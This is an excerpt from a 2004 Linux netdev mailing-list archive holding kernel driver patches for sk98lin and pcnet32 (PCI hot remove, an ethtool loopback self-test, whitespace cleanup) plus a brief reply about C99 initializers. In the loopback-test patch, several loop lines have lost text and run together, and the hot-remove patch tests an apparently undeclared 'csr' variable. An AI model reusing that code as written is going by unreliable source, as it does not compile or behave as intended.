(8.12.8/8.12.1) id i1KMoeYQ028145; Fri, 20 Feb 2004 23:50:40 +0100 Date: Fri, 20 Feb 2004 23:50:40 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: mlindner@syskonnect.de, jgarzik@pobox.com Subject: [PATCH] 2.6.3 - incorrect handling of the status code from skge_probe Message-ID: <20040220235040.B26032@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 3463 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev skge_probe() can return -ENODEV as well as number of detected adapters. drivers/net/sk98lin/skge.c | 5 +++-- 1 files changed, 3 insertions(+), 2 deletions(-) diff -puN drivers/net/sk98lin/skge.c~sk98-bad-test drivers/net/sk98lin/skge.c --- linux-2.6.3/drivers/net/sk98lin/skge.c~sk98-bad-test 2004-02-20 23:39:41.000000000 +0100 +++ linux-2.6.3-fr/drivers/net/sk98lin/skge.c 2004-02-20 23:43:59.000000000 +0100 @@ -779,9 +779,10 @@ static int __init skge_init_module(void) cards = skge_probe(); if (cards == 0) { - printk("sk98lin: No adapter found.\n"); + printk(KERN_INFO "sk98lin: No adapter found.\n"); + cards = -ENODEV; } - return cards ? 0 : -ENODEV; + return (cards > 0 ) ? 0 : cards; } /* skge_init_module */ _ From laforge@netfilter.org Fri Feb 20 14:56:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 14:56:06 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KMu2KO030728 for ; Fri, 20 Feb 2004 14:56:03 -0800 Received: from [192.168.200.2] (helo=sunbeam.gnumonks.org) by coruscant.gnumonks.org with esmtp (TLSv1:RC4-SHA:128) (Exim 4.20) id 1AuJYu-0006P6-St; Fri, 20 Feb 2004 23:56:01 +0100 Received: from laforge by sunbeam.gnumonks.org with local (Exim 4.22) id 1AuJRu-0005eP-AM; Fri, 20 Feb 2004 23:48:46 +0100 Date: Fri, 20 Feb 2004 23:48:46 +0100 From: Harald Welte To: Art Haas Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Add C99 initializers to ip_conntrack_standalone.c Message-ID: <20040220224846.GX4797@sunbeam.de.gnumonks.org> References: <20040219001343.GB9704@artsapartment.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="2RPSo2VWgDbGU+zh" Content-Disposition: inline In-Reply-To: <20040219001343.GB9704@artsapartment.org> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3464 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev --2RPSo2VWgDbGU+zh Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Feb 18, 2004 at 06:13:43PM -0600, Art Haas wrote: > Hi. >=20 > Here's a patch that converts this file to use C99 initializers. The code > is much easier to read after the conversion, I believe. I have > recompiled the file with the changes successfully. Thanks, I integrated your patch with some clashing changes we had in our set of pending patches and submitted it to davem a couple of hours ago. > Art Haas --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --2RPSo2VWgDbGU+zh Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFANo7OXaXGVTD0i/8RAiHwAJ9ofTrjyFOdbHywKbm3ViQ+KveSsACcD6Zr ddBD779EEyhanW84d7pOe0Y= =8Qu+ -----END PGP SIGNATURE----- --2RPSo2VWgDbGU+zh-- From brazilnut@us.ibm.com Fri Feb 20 14:56:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 14:56:48 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KMuiKO030875 for ; Fri, 20 Feb 2004 14:56:44 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i1KMuZo5434958; Fri, 20 Feb 2004 17:56:35 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1KMuX6v134156; Fri, 20 Feb 2004 17:56:34 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1KMtX007392; Fri, 20 Feb 2004 14:55:33 -0800 From: Don Fry Message-Id: <200402202255.i1KMtX007392@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.3] pcnet32.c add PCI hot remove support To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 14:55:32 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3465 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This patch adds support for PCI hot remove. Tested on PPC64 boxes. The driver has also been checked to comply with PCMCIA/cardbus remove requirements, but as I don't have a PCMCIA card, it is untested. If a PCMCIA card is removed, reads will return FFFF. The FFFF will cause all while loops to exit. --- linux-2.6.3/drivers/net/mii.pcnet32.c Fri Feb 20 14:32:10 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Fri Feb 20 14:43:55 2004 @@ -935,8 +935,13 @@ if (register_netdev(dev)) goto err_free_consistent; - lp->next = pcnet32_dev; - pcnet32_dev = dev; + if (pdev) { + pci_set_drvdata(pdev, dev); + } else { + lp->next = pcnet32_dev; + pcnet32_dev = dev; + } + printk(KERN_INFO "%s: registered as %s\n",dev->name, lp->name); cards_found++; return 0; @@ -1330,6 +1335,9 @@ rap = lp->a.read_rap(ioaddr); while ((csr0 = lp->a.read_csr (ioaddr, 0)) & 0x8600 && --boguscnt >= 0) { + if (csr == 0xffff) { + break; /* PCMCIA remove happened */ + } /* Acknowledge all of the current interrupt sources ASAP. */ lp->a.write_csr (ioaddr, 0, csr0 & ~0x004f); @@ -1764,9 +1772,25 @@ mod_timer (&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); } +static void __devexit pcnet32_remove_one(struct pci_dev *pdev) +{ + struct net_device *dev = pci_get_drvdata(pdev); + + if (dev) { + struct pcnet32_private *lp = dev->priv; + + unregister_netdev(dev); + release_region(dev->base_addr, PCNET32_TOTAL_SIZE); + pci_free_consistent(lp->pci_dev, sizeof(*lp), lp, lp->dma_addr); + free_netdev(dev); + pci_set_drvdata(pdev, NULL); + } +} + static struct pci_driver pcnet32_driver = { .name = DRV_NAME, .probe = pcnet32_probe_pci, + .remove = __devexit_p(pcnet32_remove_one), .id_table = pcnet32_pci_tbl, }; -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri Feb 20 15:09:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 15:09:32 -0800 (PST) Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1KN9EKO031574 for ; Fri, 20 Feb 2004 15:09:20 -0800 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e1.ny.us.ibm.com (8.12.10/NS PXFA) with ESMTP id i1KN97o5371538; Fri, 20 Feb 2004 18:09:07 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1KN966v112678; Fri, 20 Feb 2004 18:09:06 -0500 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1KN85D07420; Fri, 20 Feb 2004 15:08:05 -0800 From: Don Fry Message-Id: <200402202308.i1KN85D07420@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.3] pcnet32.c adds loopback test To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 15:08:04 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3466 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev This adds the ability to do a local loopback test for the adapter. This source was submitted by James Lewis . Tested on PPC and IA32 systems. --- linux-2.6.3/drivers/net/pci.pcnet32.c Fri Feb 20 14:47:30 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Fri Feb 20 15:02:25 2004 @@ -125,6 +125,11 @@ PCNET32_PORT_ASEL /* 15 not supported */ }; +static const char pcnet32_gstrings_test[][ETH_GSTRING_LEN] = { + "Loopback test (offline)" +}; +#define PCNET32_TEST_LEN (sizeof(pcnet32_gstrings_test) / ETH_GSTRING_LEN) + #define MAX_UNITS 8 /* More are supported, limit only on options */ static int options[MAX_UNITS]; static int full_duplex[MAX_UNITS]; @@ -351,6 +356,10 @@ static void pcnet32_watchdog(struct net_device *); static int mdio_read(struct net_device *dev, int phy_id, int reg_num); static void mdio_write(struct net_device *dev, int phy_id, int reg_num, int val); +static void pcnet32_restart(struct net_device *dev, unsigned int csr0_bits); +static void pcnet32_ethtool_test(struct net_device *dev, + struct ethtool_test *eth_test, u64 *data); +static int pcnet32_loopback_test(struct net_device *dev, uint64_t *data1); enum pci_flags_bit { PCI_USES_IO=1, PCI_USES_MEM=2, PCI_USES_MASTER=4, @@ -561,6 +570,165 @@ ering->rx_pending = lp->cur_rx & RX_RING_MOD_MASK; } +static void pcnet32_get_strings(struct net_device *dev, u32 stringset, u8 *data) +{ + memcpy(data, pcnet32_gstrings_test, sizeof(pcnet32_gstrings_test)); +} + +static int pcnet32_self_test_count(struct net_device *dev) +{ + return PCNET32_TEST_LEN; +} + +static void pcnet32_ethtool_test(struct net_device *dev, + struct ethtool_test *test, u64 *data) +{ + struct pcnet32_private *lp = dev->priv; + int rc; + + if (test->flags == ETH_TEST_FL_OFFLINE) { + rc = pcnet32_loopback_test(dev, data); + if (rc) { + if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Loopback test failed.\n", dev->name); + test->flags |= ETH_TEST_FL_FAILED; + } else if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Loopback test passed.\n", dev->name); + } else + printk(KERN_DEBUG "%s: No tests to run (specify 'Offline' on ethtool).", dev->name); +} /* end pcnet32_ethtool_test */ + +static int pcnet32_loopback_test(struct net_device *dev, uint64_t *data1) +{ + struct pcnet32_private *lp = dev->priv; + struct pcnet32_access *a = &lp->a; /* access to registers */ + ulong ioaddr = dev->base_addr; /* card base I/O address */ + struct sk_buff *skb; /* sk buff */ + int x, y, i; /* counters */ + int numbuffs = 4; /* number of TX/RX buffers and descs */ + u16 status = 0x8300; /* TX ring status */ + int rc; /* return code */ + int size; /* size of packets */ + unsigned char *packet; /* source packet data */ + static int data_len = 60; /* length of source packets */ + unsigned long flags; + + *data1 = 1; /* status of test, default to fail */ + rc = 1; /* default to fail */ + + spin_lock_irqsave(&lp->lock, flags); + lp->a.write_csr(ioaddr, 0, 0x7904); + + del_timer_sync(&lp->watchdog_timer); + + netif_stop_queue(dev); + + /* purge & init rings but don't actually restart */ + pcnet32_restart(dev, 0x0000); + + lp->a.write_csr(ioaddr, 0, 0x0004); /* Set STOP bit */ + + x = a->read_bcr(ioaddr, 32); /* set internal loopback in BSR32 */ + x = x | 0x00000002; + a->write_bcr(ioaddr, 32, x); + + /* Initialize Transmit buffers. */ + size = data_len + 15; + for (x=0; xname, __LINE__); + goto clean_up; + } else { + packet = skb->data; + skb_put(skb, size); /* create space for data */ + lp->tx_skbuff[x] = skb; + lp->tx_ring[x].length = le16_to_cpu(-skb->len); + lp->tx_ring[x].misc = 0x00000000; + + /* put DA and SA into the skb */ + for (i=0; i<12; i++) + *packet++ = 0xff; + /* type */ + *packet++ = 0x08; + *packet++ = 0x06; + /* packet number */ + *packet++ = x; + /* fill packet with data */ + for (y=0; ytx_dma_addr[x] = pci_map_single(lp->pci_dev, skb->data, + skb->len, PCI_DMA_TODEVICE); + lp->tx_ring[x].base = (u32)le32_to_cpu(lp->tx_dma_addr[x]); + wmb(); /* Make sure owner changes after all others are visible */ + lp->tx_ring[x].status = le16_to_cpu(status); + } + } + + lp->a.write_csr(ioaddr, 0, 0x0002); /* Set STRT bit */ + spin_unlock_irqrestore(&lp->lock, flags); + + mdelay(50); /* wait a bit */ + + spin_lock_irqsave(&lp->lock, flags); + lp->a.write_csr(ioaddr, 0, 0x0004); /* Set STOP bit */ + + if (netif_msg_hw(lp) && netif_msg_pktdata(lp)) { + printk(KERN_DEBUG "%s: RX loopback packets:\n", dev->name); + + for (x=0; xname, x); + skb=lp->rx_skbuff[x]; + for (i=0; idata+i)); + } + printk("\n"); + } + } + + x = 0; + rc = 0; + while (xrx_skbuff[x]; + packet = lp->tx_skbuff[x]->data; + for (i=0; idata+i) != packet[i]) { + if (netif_msg_hw(lp)) + printk(KERN_DEBUG "%s: Error in compare! %2x - %02x %02x\n", + dev->name, i, *(skb->data+i), packet[i]); + rc = 1; + break; + } + } + x++; + } + if (!rc) { + *data1 = 0; + } + +clean_up: + x = a->read_csr(ioaddr, 15) & 0xFFFF; + a->write_csr(ioaddr, 15, (x & ~0x0044)); /* reset bits 6 and 2 */ + + x = a->read_bcr(ioaddr, 32); /* reset internal loopback */ + x = x & ~0x00000002; + a->write_bcr(ioaddr, 32, x); + + pcnet32_restart(dev, 0x0042); /* resume normal operation */ + + netif_wake_queue(dev); + + mod_timer(&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); + + /* Clear interrupts, and set interrupt enable. */ + lp->a.write_csr(ioaddr, 0, 0x7940); + spin_unlock_irqrestore(&lp->lock, flags); + + return(rc); +} /* end pcnet32_loopback_test */ + static struct ethtool_ops pcnet32_ethtool_ops = { .get_settings = pcnet32_get_settings, .set_settings = pcnet32_set_settings, @@ -573,6 +741,9 @@ .get_tx_csum = ethtool_op_get_tx_csum, .get_sg = ethtool_op_get_sg, .get_tso = ethtool_op_get_tso, + .get_strings = pcnet32_get_strings, + .self_test_count = pcnet32_self_test_count, + .self_test = pcnet32_ethtool_test, }; /* only probes for non-PCI devices, the rest are handled by -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Fri Feb 20 16:01:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 20 Feb 2004 16:01:17 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1L012KO000402 for ; Fri, 20 Feb 2004 16:01:08 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1L00rba479220; Fri, 20 Feb 2004 19:00:53 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1L00pDC154776; Fri, 20 Feb 2004 17:00:51 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1KNxol07462; Fri, 20 Feb 2004 15:59:50 -0800 From: Don Fry Message-Id: <200402202359.i1KNxol07462@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.6.3] whitespace only change to pcnet32.c To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Fri, 20 Feb 2004 15:59:50 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3467 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Last change for a while. This modifies the whitespace only. consistent indentation, deletes trailing tabs, trailing spaces, etc. --- linux-2.6.3/drivers/net/loop.pcnet32.c Fri Feb 20 15:13:12 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Fri Feb 20 15:52:32 2004 @@ -1,12 +1,12 @@ /* pcnet32.c: An AMD PCnet32 ethernet driver for linux. */ /* * Copyright 1996-1999 Thomas Bogendoerfer - * + * * Derived from the lance driver written 1993,1994,1995 by Donald Becker. - * + * * Copyright 1993 United States Government as represented by the * Director, National Security Agency. - * + * * This software may be used and distributed according to the terms * of the GNU General Public License, incorporated herein by reference. * @@ -71,10 +71,10 @@ int cards_found __initdata; -/* - * VLB I/O addresses +/* + * VLB I/O addresses */ -static unsigned int pcnet32_portlist[] __initdata = +static unsigned int pcnet32_portlist[] __initdata = { 0x300, 0x320, 0x340, 0x360, 0 }; @@ -109,7 +109,7 @@ static unsigned char options_mapping[] = { PCNET32_PORT_ASEL, /* 0 Auto-select */ PCNET32_PORT_AUI, /* 1 BNC/AUI */ - PCNET32_PORT_AUI, /* 2 AUI/BNC */ + PCNET32_PORT_AUI, /* 2 AUI/BNC */ PCNET32_PORT_ASEL, /* 3 not supported */ PCNET32_PORT_10BT | PCNET32_PORT_FD, /* 4 10baseT-FD */ PCNET32_PORT_ASEL, /* 5 not supported */ @@ -136,14 +136,14 @@ /* * Theory of Operation - * + * * This driver uses the same software structure as the normal lance * driver. So look for a verbose description in lance.c. The differences * to the normal lance driver is the use of the 32bit mode of PCnet32 * and PCnetPCI chips. Because these chips are 32bit chips, there is no * 16MB limitation and we don't need bounce buffers. */ - + /* * History: * v0.01: Initial version @@ -197,7 +197,7 @@ * v1.22: changed pci scanning code to make PPC people happy * fixed switching to 32bit mode in pcnet32_open() (thanks * to Michael Richard for noticing this one) - * added sub vendor/device id matching (thanks again to + * added sub vendor/device id matching (thanks again to * Michael Richard ) * added chip id for 79c973/975 (thanks to Zach Brown ) * v1.23 fixed small bug, when manual selecting MII speed/duplex @@ -215,7 +215,7 @@ * v1.26p Fix oops on rmmod+insmod; plug i/o resource leak - Paul Gortmaker * v1.27 improved CSR/PROM address detection, lots of cleanups, * new pcnet32vlb module option, HP-PARISC support, - * added module parameter descriptions, + * added module parameter descriptions, * initial ethtool support - Helge Deller * v1.27a Sun Feb 10 2002 Go Taniguchi * use alloc_etherdev and register_netdev @@ -269,11 +269,11 @@ struct pcnet32_rx_head { u32 base; s16 buf_length; - s16 status; + s16 status; u32 msg_length; u32 reserved; }; - + struct pcnet32_tx_head { u32 base; s16 length; @@ -289,7 +289,7 @@ u8 phys_addr[6]; u16 reserved; u32 filter[2]; - /* Receive and transmit ring base, along with extra bits. */ + /* Receive and transmit ring base, along with extra bits. */ u32 rx_ring; u32 tx_ring; }; @@ -306,7 +306,7 @@ }; /* - * The first three fields of pcnet32_private are read by the ethernet device + * The first three fields of pcnet32_private are read by the ethernet device * so we allocate the structure should be allocated by pci_alloc_consistent(). */ struct pcnet32_private { @@ -314,16 +314,18 @@ struct pcnet32_rx_head rx_ring[RX_RING_SIZE]; struct pcnet32_tx_head tx_ring[TX_RING_SIZE]; struct pcnet32_init_block init_block; - dma_addr_t dma_addr; /* DMA address of beginning of this object, - returned by pci_alloc_consistent */ - struct pci_dev *pci_dev; /* Pointer to the associated pci device structure */ + dma_addr_t dma_addr; /* DMA address of beginning of this + object, returned by + pci_alloc_consistent */ + struct pci_dev *pci_dev; /* Pointer to the associated pci device + structure */ const char *name; /* The saved address of a sent-in-place packet/buffer, for skfree(). */ struct sk_buff *tx_skbuff[TX_RING_SIZE]; struct sk_buff *rx_skbuff[RX_RING_SIZE]; dma_addr_t tx_dma_addr[TX_RING_SIZE]; dma_addr_t rx_dma_addr[RX_RING_SIZE]; - struct pcnet32_access a; + struct pcnet32_access a; spinlock_t lock; /* Guard lock */ unsigned int cur_rx, cur_tx; /* The next free ring entry */ unsigned int dirty_rx, dirty_tx; /* The ring entries to be free()ed. */ @@ -335,7 +337,7 @@ dxsuflo:1, /* disable transmit stop on uflo */ mii:1; /* mii port available */ struct net_device *next; - struct mii_if_info mii_if; + struct mii_if_info mii_if; struct timer_list watchdog_timer; u32 msg_enable; /* debug message level */ }; @@ -356,7 +358,7 @@ static void pcnet32_watchdog(struct net_device *); static int mdio_read(struct net_device *dev, int phy_id, int reg_num); static void mdio_write(struct net_device *dev, int phy_id, int reg_num, int val); -static void pcnet32_restart(struct net_device *dev, unsigned int csr0_bits); +static void pcnet32_restart(struct net_device *dev, unsigned int csr0_bits); static void pcnet32_ethtool_test(struct net_device *dev, struct ethtool_test *eth_test, u64 *data); static int pcnet32_loopback_test(struct net_device *dev, uint64_t *data1); @@ -481,93 +483,93 @@ static int pcnet32_get_settings(struct net_device *dev, struct ethtool_cmd *cmd) { - struct pcnet32_private *lp = dev->priv; - unsigned long flags; - int r = -EOPNOTSUPP; + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r = -EOPNOTSUPP; - if (lp->mii) { - spin_lock_irqsave(&lp->lock, flags); - mii_ethtool_gset(&lp->mii_if, cmd); - spin_unlock_irqrestore(&lp->lock, flags); - r = 0; - } - return r; + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + mii_ethtool_gset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + r = 0; + } + return r; } static int pcnet32_set_settings(struct net_device *dev, struct ethtool_cmd *cmd) { - struct pcnet32_private *lp = dev->priv; - unsigned long flags; - int r = -EOPNOTSUPP; + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r = -EOPNOTSUPP; - if (lp->mii) { - spin_lock_irqsave(&lp->lock, flags); - r = mii_ethtool_sset(&lp->mii_if, cmd); - spin_unlock_irqrestore(&lp->lock, flags); - } - return r; + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + r = mii_ethtool_sset(&lp->mii_if, cmd); + spin_unlock_irqrestore(&lp->lock, flags); + } + return r; } static void pcnet32_get_drvinfo(struct net_device *dev, struct ethtool_drvinfo *info) { - struct pcnet32_private *lp = dev->priv; - - strcpy (info->driver, DRV_NAME); - strcpy (info->version, DRV_VERSION); - if (lp->pci_dev) - strcpy (info->bus_info, pci_name(lp->pci_dev)); - else - sprintf(info->bus_info, "VLB 0x%lx", dev->base_addr); + struct pcnet32_private *lp = dev->priv; + + strcpy (info->driver, DRV_NAME); + strcpy (info->version, DRV_VERSION); + if (lp->pci_dev) + strcpy (info->bus_info, pci_name(lp->pci_dev)); + else + sprintf(info->bus_info, "VLB 0x%lx", dev->base_addr); } static u32 pcnet32_get_link(struct net_device *dev) { - struct pcnet32_private *lp = dev->priv; - unsigned long flags; - int r = 1; + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r = 1; - if (lp->mii) { - spin_lock_irqsave(&lp->lock, flags); - r = mii_link_ok(&lp->mii_if); - spin_unlock_irqrestore(&lp->lock, flags); - } - return r; + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + r = mii_link_ok(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + } + return r; } static u32 pcnet32_get_msglevel(struct net_device *dev) { - struct pcnet32_private *lp = dev->priv; - return lp->msg_enable; + struct pcnet32_private *lp = dev->priv; + return lp->msg_enable; } - + static void pcnet32_set_msglevel(struct net_device *dev, u32 value) { - struct pcnet32_private *lp = dev->priv; - lp->msg_enable = value; + struct pcnet32_private *lp = dev->priv; + lp->msg_enable = value; } - + static int pcnet32_nway_reset(struct net_device *dev) { - struct pcnet32_private *lp = dev->priv; - unsigned long flags; - int r = -EOPNOTSUPP; + struct pcnet32_private *lp = dev->priv; + unsigned long flags; + int r = -EOPNOTSUPP; - if (lp->mii) { - spin_lock_irqsave(&lp->lock, flags); - r = mii_nway_restart(&lp->mii_if); - spin_unlock_irqrestore(&lp->lock, flags); - } - return r; + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); + r = mii_nway_restart(&lp->mii_if); + spin_unlock_irqrestore(&lp->lock, flags); + } + return r; } static void pcnet32_get_ringparam(struct net_device *dev, struct ethtool_ringparam *ering) { - struct pcnet32_private *lp = dev->priv; + struct pcnet32_private *lp = dev->priv; - ering->tx_max_pending = TX_RING_SIZE - 1; - ering->tx_pending = lp->cur_tx - lp->dirty_tx; - ering->rx_max_pending = RX_RING_SIZE - 1; - ering->rx_pending = lp->cur_rx & RX_RING_MOD_MASK; + ering->tx_max_pending = TX_RING_SIZE - 1; + ering->tx_pending = lp->cur_tx - lp->dirty_tx; + ering->rx_max_pending = RX_RING_SIZE - 1; + ering->rx_pending = lp->cur_rx & RX_RING_MOD_MASK; } static void pcnet32_get_strings(struct net_device *dev, u32 stringset, u8 *data) @@ -730,39 +732,39 @@ } /* end pcnet32_loopback_test */ static struct ethtool_ops pcnet32_ethtool_ops = { - .get_settings = pcnet32_get_settings, - .set_settings = pcnet32_set_settings, - .get_drvinfo = pcnet32_get_drvinfo, - .get_msglevel = pcnet32_get_msglevel, - .set_msglevel = pcnet32_set_msglevel, - .nway_reset = pcnet32_nway_reset, - .get_link = pcnet32_get_link, - .get_ringparam = pcnet32_get_ringparam, - .get_tx_csum = ethtool_op_get_tx_csum, - .get_sg = ethtool_op_get_sg, - .get_tso = ethtool_op_get_tso, - .get_strings = pcnet32_get_strings, - .self_test_count = pcnet32_self_test_count, - .self_test = pcnet32_ethtool_test, + .get_settings = pcnet32_get_settings, + .set_settings = pcnet32_set_settings, + .get_drvinfo = pcnet32_get_drvinfo, + .get_msglevel = pcnet32_get_msglevel, + .set_msglevel = pcnet32_set_msglevel, + .nway_reset = pcnet32_nway_reset, + .get_link = pcnet32_get_link, + .get_ringparam = pcnet32_get_ringparam, + .get_tx_csum = ethtool_op_get_tx_csum, + .get_sg = ethtool_op_get_sg, + .get_tso = ethtool_op_get_tso, + .get_strings = pcnet32_get_strings, + .self_test_count = pcnet32_self_test_count, + .self_test = pcnet32_ethtool_test, }; -/* only probes for non-PCI devices, the rest are handled by +/* only probes for non-PCI devices, the rest are handled by * pci_register_driver via pcnet32_probe_pci */ static void __devinit pcnet32_probe_vlbus(void) { unsigned int *port, ioaddr; - + /* search for PCnet32 VLB cards at known addresses */ for (port = pcnet32_portlist; (ioaddr = *port); port++) { if (request_region(ioaddr, PCNET32_TOTAL_SIZE, "pcnet32_probe_vlbus")) { - /* check if there is really a pcnet chip on that ioaddr */ - if ((inb(ioaddr + 14) == 0x57) && (inb(ioaddr + 15) == 0x57)) { - pcnet32_probe1(ioaddr, 0, 0, NULL); - } else { - release_region(ioaddr, PCNET32_TOTAL_SIZE); - } + /* check if there is really a pcnet chip on that ioaddr */ + if ((inb(ioaddr + 14) == 0x57) && (inb(ioaddr + 15) == 0x57)) { + pcnet32_probe1(ioaddr, 0, 0, NULL); + } else { + release_region(ioaddr, PCNET32_TOTAL_SIZE); + } } } } @@ -783,25 +785,25 @@ ioaddr = pci_resource_start (pdev, 0); if (!ioaddr) { - printk (KERN_ERR PFX "card has no PCI IO resources, aborting\n"); - return -ENODEV; + printk (KERN_ERR PFX "card has no PCI IO resources, aborting\n"); + return -ENODEV; } - + if (!pci_dma_supported(pdev, PCNET32_DMA_MASK)) { printk(KERN_ERR PFX "architecture does not support 32bit PCI busmaster DMA\n"); return -ENODEV; } if (request_region(ioaddr, PCNET32_TOTAL_SIZE, "pcnet32_probe_pci") == NULL) { - printk(KERN_ERR PFX "io address range already allocated\n"); - return -EBUSY; + printk(KERN_ERR PFX "io address range already allocated\n"); + return -EBUSY; } return pcnet32_probe1(ioaddr, pdev->irq, 1, pdev); } -/* pcnet32_probe1 - * Called from both pcnet32_probe_vlbus and pcnet_probe_pci. +/* pcnet32_probe1 + * Called from both pcnet32_probe_vlbus and pcnet_probe_pci. * pdev will be NULL when called from pcnet32_probe_vlbus. */ static int __devinit @@ -837,10 +839,10 @@ if (pcnet32_debug & NETIF_MSG_PROBE) printk(KERN_INFO " PCnet chip version is %#x.\n", chip_version); if ((chip_version & 0xfff) != 0x003) { - printk(KERN_INFO PFX "Unsupported chip version.\n"); - goto err_release_region; + printk(KERN_INFO PFX "Unsupported chip version.\n"); + goto err_release_region; } - + /* initialize variables */ fdx = mii = fset = dxsuflo = ltint = 0; chip_version = (chip_version >> 12) & 0xffff; @@ -875,7 +877,7 @@ case 0x2626: chipname = "PCnet/Home 79C978"; /* PCI */ fdx = 1; - /* + /* * This is based on specs published at 